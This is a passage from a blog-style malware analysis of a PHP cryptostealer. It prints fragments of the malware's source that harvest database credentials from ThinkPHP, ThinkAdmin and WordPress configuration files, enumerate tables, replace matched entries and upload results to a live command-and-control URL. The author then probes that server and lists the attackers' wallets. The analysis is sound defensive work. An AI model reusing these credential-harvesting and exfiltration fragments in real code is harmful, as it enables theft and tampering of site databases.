font-style: inherit;">$dbConfig</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [</span>
<span id="cb9-10">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostname'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'localhost'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-11">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'database'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-12">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'username'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-13">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'password'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-14">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostport'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'3306'</span></span>
<span id="cb9-15">        ]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-16">        </span>
<span id="cb9-17">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$patterns</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [</span>
<span id="cb9-18">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostname'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/'hostname'\s*=&gt;\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">$[a-zA-Z0-9_]+\[['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]([^'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]+)['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]\])/"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-19">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'database'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/'database'\s*=&gt;\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">$[a-zA-Z0-9_]+\[['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]([^'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]+)['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]\])/"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-20">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'username'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/'username'\s*=&gt;\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">$[a-zA-Z0-9_]+\[['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]([^'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]+)['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]\])/"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-21">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'password'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/'password'\s*=&gt;\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">$[a-zA-Z0-9_]+\[['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]([^'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]+)['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]\])/"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb9-22">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostport'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/'hostport'\s*=&gt;\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">$[a-zA-Z0-9_]+\[['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]([^'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]+)['</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">]\])/"</span></span>
<span id="cb9-23">        ]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>So, it looks for config files for thinkPHP, using some regex to find keys and values for the hostname, database name, username, password and port number. It’s what I would do if I was trying to read as much info as possible, but one part stuck out to me as weird.</p>
<p>After looking for this info, it has a specific function to make sure it’s looking at ThinkAdmin databases.</p>
<div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb10-1">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$isThinkAdmin</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$content</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ThinkAdmin'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> </span>
<span id="cb10-2">                        (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$content</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'zoujingli/ThinkAdmin'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span>))<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-3">        </span>
<span id="cb10-4">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">empty</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$foundKeys</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'database'</span>]) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;&amp;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">empty</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$foundKeys</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'username'</span>])) {</span>
<span id="cb10-5">            db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"成功解析PHP数组配置"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Successfully parsed PHP array configuration</span></span>
<span id="cb10-6">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> [[</span>
<span id="cb10-7">                <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'type'</span> =&gt; <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$isThinkAdmin</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">?</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'thinkadmin'</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'php_array'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb10-8">                <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'config'</span> =&gt; <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$dbConfig</span></span>
<span id="cb10-9">            ]]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p><a href="https://thinkadmin.top/">ThinkAdmin</a> is management software for <a href="https://www.thinkphp.cn/">ThinkPHP</a>, which is itself a PHP framework as part of the Think suite of tools.</p>
<p>So, it’s looking for ThinkAdmin so it knows what to look for. I am not an expert in PHP by any stretch of the imagination but, given all the sites related to this being written in Chinese (simplified) my guess is that Think* programs are mostly aimed at a Chinese audience. The plot thickens!</p>
<p>Or does it?</p>
<p>Fear not, American web developer, they’ve got you covered.</p>
<div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb11-1"> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> db_parseWordPressConfig(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$content</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$file</span>) {</span>
<span id="cb11-2">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$basename</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">basename</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$file</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb11-3">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$basename</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!==</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'wp-config.php'</span>) <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> []<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb11-4">        </span>
<span id="cb11-5">        db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"尝试解析WordPress配置: </span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$basename</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Attempting to parse WordPress configuration</span></span>
<span id="cb11-6">        </span>
<span id="cb11-7">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$dbConfig</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>(</span>
<span id="cb11-8">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostname'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'localhost'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-9">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'database'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-10">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'username'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-11">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'password'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-12">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'hostport'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'3306'</span></span>
<span id="cb11-13">        )<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>They also look for Wordpress php databases 🙂</p>
<p>They actually look for and parse a <em>lot</em> of files. Here’s the list from the main parsing function:</p>
<div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb12-1">        <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$parsers</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [</span>
<span id="cb12-2">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseWordPressConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-3">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseThinkPhpConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-4">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseNestedPhpConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-5">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parsePhpArrayConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-6">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseEnvDefaultConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-7">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseEnvSectionConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-8">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseEnvConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-9">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseIniConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-10">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseDefineConfig'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-11">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'db_parseFallbackConfig'</span></span>
<span id="cb12-12">        ]<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>This cryptostealer is more thorough about edge case configs than I am when I’m writing code for myself, but I’m trying not to let that bum me out too much.</p>
<p>But what’s it trying to <em>do</em> with all this database info? So glad you asked!</p>
<div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb13-1">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ==================== 数据库替换主逻辑 ====================-&gt;Main database replacement logic</span></span>
<span id="cb13-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span> {</span>
<span id="cb13-3">        db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"===== 数据库替换主逻辑开始 ====="</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Database replacement main logic start</span></span>
<span id="cb13-4">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"=== 数据库扫描与替换脚本 ===</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Database scan and replace script</span></span>
<span id="cb13-5">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"版本: 2024-05-20 (修复版 - 严格长度检测)</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Version: 2024-05-20 (Fixed Version - Strict Length Detection)</span></span></code></pre></div>
<p>First, it looks for your databases. Then, it assigns a unique id to each and tries to connect over mysql. Assuming it succeeds in that, it shows you a list of all the tables it found.</p>
<div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb14-1">                <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 获取所有表 -&gt;Get all tables</span></span>
<span id="cb14-2">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$tables</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">array</span>()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-3">                <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$result</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$conn</span>-&gt;query(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"SHOW TABLES"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-4">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$result</span>) {</span>
<span id="cb14-5">                    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"  [!] 获取表列表失败: "</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$conn</span>-&gt;<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">error</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Failed to retrieve table list</span></span>
<span id="cb14-6">                    db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"SHOW TABLES失败: "</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$conn</span>-&gt;<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">error</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;SHOW TABLES failed</span></span>
<span id="cb14-7">                    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$conn</span>-&gt;close()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-8">                    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">continue</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>After enumerating your databases and listing all your tables, it pulls some “sample data” from each table.</p>
<p>After that, you get an extremely ominous function.</p>
<div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb15-1">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ==================== 数据库替换主逻辑 ==================== -&gt;Main database replacement logic</span></span>
<span id="cb15-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span> {</span>
<span id="cb15-3">        db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"===== 数据库替换主逻辑开始 ====="</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Database replacement main logic start</span></span>
<span id="cb15-4">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"=== 数据库扫描与替换脚本 ===</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Database scan and replace script</span></span>
<span id="cb15-5">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"版本: 2024-05-20 (修复版 - 严格长度检测)</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//-&gt;Version: 2024-05-20 (Fixed Version - Strict Length Detection)</span></span></code></pre></div>
<p>It goes through each of your databases, ini files, config files and .env files and, using user-submitted rules, methodically goes through and replaces every matched entry with whatever you want it to say.</p>
<p>What is the typical replacement data? I’m not sure at the moment. It could be a ransom note, or replacing more crypto wallets with the script’s wallets, or making data just a <em>little</em> bit wrong to throw off some larger process that I’m otherwise not seeing.</p>
<p>Either way, this has a timestamp and “fixed version,” implying some amount of project maintenance and bug squashing done by whoever is using this.</p>
<p>After doing its thing, it packs up the table info, collected samples, log files, pid files and client info and uploads to a command and control server.</p>
<div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb16-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$url</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'http://c2c.deepgtp.net:39010/api/upload'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>The c2c subdomain is an nginx server on ubuntu on a server in japan, per <a href="https://urlscan.io/result/019c5010-2a4f-720c-9baf-628e651dcdbc/">URLScan</a>. I was curious what the top level domain looked like, so I tried <a href="https://urlscan.io/result/019c500a-649d-745f-8ee6-cc6edf637e09/">www as well</a>. Turns out their www is in a tencent datacenter in singapore. Neat!</p>
<p>….also neat is what their www domain is saying.</p>
<div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb17-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mail</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>deepgtp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>net <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">API</span> Gateway</span>
<span id="cb17-2"></span>
<span id="cb17-3">Available endpoints<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb17-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">GET</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span><span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">POST</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>api<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>verify</span>
<span id="cb17-5"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">GET</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span>health</span></code></pre></div>
<p>A mail server, you say? Let’s jiggle the doorknobs. I connected to our slightly shady VPN and followed the instructions on the website.</p>
<pre class="shell"><code>localhost% curl --request GET --url https://mail.deepgtp.net/health
{"status":"ok","stored_emails":7}

curl --request GET --url https://mail.deepgtp.net/api/email/verify
{"detail":"Method Not Allowed"}dig mail.deepgtp.net/health

; &lt;&lt;&gt;&gt; DiG 9.20.18 &lt;&lt;&gt;&gt; mail.deepgtp.net/health
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NXDOMAIN, id: 62317
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4095
;; QUESTION SECTION:
;mail.deepgtp.net/health.       IN      A

;; AUTHORITY SECTION:
.                       86399   IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2026021102 1800 900 604800 86400

;; Query time: 39 msec
;; SERVER: 100.100.100.100#53(100.100.100.100) (UDP)
;; WHEN: Wed Feb 11 23:23:46 EST 2026
;; MSG SIZE  rcvd: 127</code></pre>
<p>Interesting. No immediately visible MX server. I wonder if they’re actually using an email protocol or if it’s a front end for sending log files. I tried sending a GET request and a POST request to the upload api endpoint to see if I got any message, but didn’t get one.</p>
</section>
<section id="follow-the-money" class="level2">
<h2 class="anchored" data-anchor-id="follow-the-money">Follow The Money</h2>
<p>Now that we’ve gone over the script and tried to spy on the c2 server, let’s get back to those crypto wallets.</p>
<p>Counting two extra wallet addresses from the bottom of the script, we have the following wallets:</p>
<pre><code>BTC:
btc:bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu
btc1:1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN
btc3:36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j

ETH:
eth1:0x8f5514751585f37d5d4949b7673f420aafe7cfc4
eth2:0x77843290a868e4F789619D8B4D2074BD5DF4C91d

TRON:
tron1:TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq
tron2:TAM8cBHRFTwVi4o18iQzyUL4JxujyZMPik</code></pre>
